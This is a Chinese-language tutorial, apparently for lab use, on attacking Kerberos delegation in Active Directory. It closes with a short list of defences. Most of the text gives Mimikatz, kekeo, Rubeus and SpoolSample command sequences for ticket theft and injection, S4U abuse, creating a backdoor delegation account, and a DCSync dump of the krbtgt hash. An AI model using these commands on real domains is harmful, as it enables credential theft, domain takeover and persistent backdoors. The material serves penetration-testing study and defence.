Attacking Kerberos Delegation
字数 1650 2025-08-27 12:33:30
Kerberos委派攻击技术详解
1. Kerberos委派概述
Kerberos委派是Active Directory中的一项功能,允许服务代表用户访问其他服务。委派分为两种类型:
- 非受限委派(Unconstrained Delegation):服务可以代表用户访问任何其他服务
- 受限委派(Constrained Delegation):服务只能代表用户访问特定的服务
2. 委派配置识别
2.1 识别非受限委派账户
使用PowerView工具识别非受限委派账户:
# 识别非受限委派的用户账户
Get-NetUser -Unconstrained -Domain lab.local
# 识别非受限委派的主机账户
Get-NetComputer -Unconstrained -Domain lab.local
2.2 识别受限委派账户
# 识别受限委派的用户账户
Get-DomainUser -TrustedToAuth -Domain lab.local -Verbose | fl
# 识别受限委派的主机账户
Get-DomainComputer -TrustedToAuth -Domain lab.local -Verbose | fl
3. 非受限委派攻击
3.1 攻击原理
当服务配置了非受限委派时,它可以缓存用户的TGT票据。攻击者可以提取这些TGT,然后进行票据传递(Pass-the-Ticket)攻击。
3.2 攻击步骤
- 在配置了非受限委派的服务主机上,使用Mimikatz提取内存中的票据:
mimikatz.exe "privilege::debug" "sekurlsa::ticket /export"
- 将获取的TGT票据注入攻击者当前会话:
mimikatz.exe "kerberos::ptt [导出的TGT票据文件]"
- 使用klist验证票据是否成功注入:
klist
- 利用注入的票据访问域控或其他资源:
dir \\DC2.lab.local\C$
Enter-PSSession -ComputerName DC2.lab.local
4. 受限委派攻击
4.1 攻击原理
当服务配置了受限委派时,攻击者可以利用服务账户的凭据(明文密码或NTLM Hash)伪造TGT,然后通过S4U扩展协议获取特定服务的TGS。
4.2 攻击步骤
- 使用kekeo获取服务账户的TGT:
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /password:Passw0rd"
或使用NTLM Hash:
kekeo.exe "tgt::ask /user:iis_svc /domain:lab.local /NTLM:a87f3a337d73085c45f9416be5787d86"
- 使用S4U扩展协议获取目标服务的TGS:
kekeo.exe "tgs::s4u /tgt:TGT_iis_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:cifs/DESKTOP-WIN10.lab.local"
- 使用Mimikatz将TGS注入当前会话:
mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_cifs~DESKTOP-WIN10.lab.local@LAB.LOCAL.kirbi"
- 访问目标服务:
dir \\DESKTOP-WIN10.lab.local\C$
5. 变种黄金票据攻击
5.1 攻击原理
利用受限委派账户向KDC自身申请一张域管理员访问krbtgt服务的票据,即TGT。
注意:此攻击在Windows Server 2012及更高版本的域环境中可能不适用。
5.2 攻击步骤
- 创建后门服务账户并配置委派:
New-ADUser -Name "Backdoor" -SamAccountName backdoor_svc -UserPrincipalName backdoor_svc@dlive.com -ServicePrincipalNames "backdoor/backdoor.dlive.com" -AccountPassword (convertto-securestring "Dubhe@1234" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
$user = Get-ADUser backdoor_svc -Properties "msDS-AllowedToDelegateTo"
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("krbtgt/DLIVE.COM") }
Set-ADAccountControl $user -TrustedToAuthForDelegation $true
- 获取服务账户的TGT:
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234"
- 获取域管理员访问krbtgt服务的TGS(TGT):
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@DLIVE.COM_krbtgt~dlive.com@DLIVE.COM.kirbi /user:Administrator@dlive.com /service:krbtgt/DLIVE.COM"
- 注入票据并访问域控:
mimikatz.exe "kerberos::ptt TGS_Administrator@dlive.com@DLIVE.COM_krbtgt~DLIVE.COM@DLIVE.COM.kirbi"
klist
dir \\DC1.dlive.com\C$
6. 受限委派+DCSync攻击
6.1 攻击原理
利用受限委派获取ldap服务的票据,然后进行DCSync攻击获取krbtgt账户的Hash。
6.2 攻击步骤
- 配置后门服务账户的委派:
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @("ldap/DC2.lab.local") }
- 获取服务账户的TGT:
kekeo.exe "tgt::ask /user:backdoor_svc /domain:dlive.com /password:Dubhe@1234"
- 获取域管理员访问ldap服务的TGS:
kekeo.exe "tgs::s4u /tgt:TGT_backdoor_svc@LAB.LOCAL_krbtgt~lab.local@LAB.LOCAL.kirbi /user:Administrator@lab.local /service:ldap/DC2.lab.local"
- 注入票据并执行DCSync:
mimikatz.exe "kerberos::ptt TGS_Administrator@lab.local@LAB.LOCAL_ldap~DC2.lab.local@LAB.LOCAL.kirbi"
mimikatz.exe "lsadump::dcsync /user:krbtgt /domain:lab.local"
7. 非受限委派+Print Spooler攻击
7.1 攻击原理
利用Print Spooler服务的漏洞强制域控访问配置了非受限委派的主机,从而获取域控主机账户的TGT。
7.2 攻击步骤
- 在非受限委派主机上启动Rubeus监听:
Rubeus.exe monitor /interval:5 /filteruser:DC2$
- 强制域控Print Spooler服务访问非受限委派主机:
SpoolSample_v4.5_x64..exe DC2 DESKTOP-WIN10
- 从Rubeus输出中获取域控主机账户的TGT。
8. 防御措施
- 禁用不必要的委派:仅为确实需要委派的服务账户启用委派
- 使用受保护的用户组(Windows Server 2012 R2及更高版本):
- 成员无法使用NTLM认证
- 无法使用DES或RC4加密套件进行Kerberos预认证
- 无法被非受限或受限委派
- 用户票据(TGT)的初始生命周期限制为4小时
- 实施最小权限原则:域管理员等高权限账户不应配置委派
- 监控委派配置变更:审计对msDS-AllowedToDelegateTo属性的修改
- 禁用不必要的服务:如Print Spooler服务
9. 工具列表
- PowerView:用于枚举委派配置
- Mimikatz:用于提取和注入Kerberos票据
- kekeo:用于执行Kerberos协议操作
- Rubeus:替代kekeo的C#工具,提供更多功能
- SpoolSample:利用Print Spooler服务的工具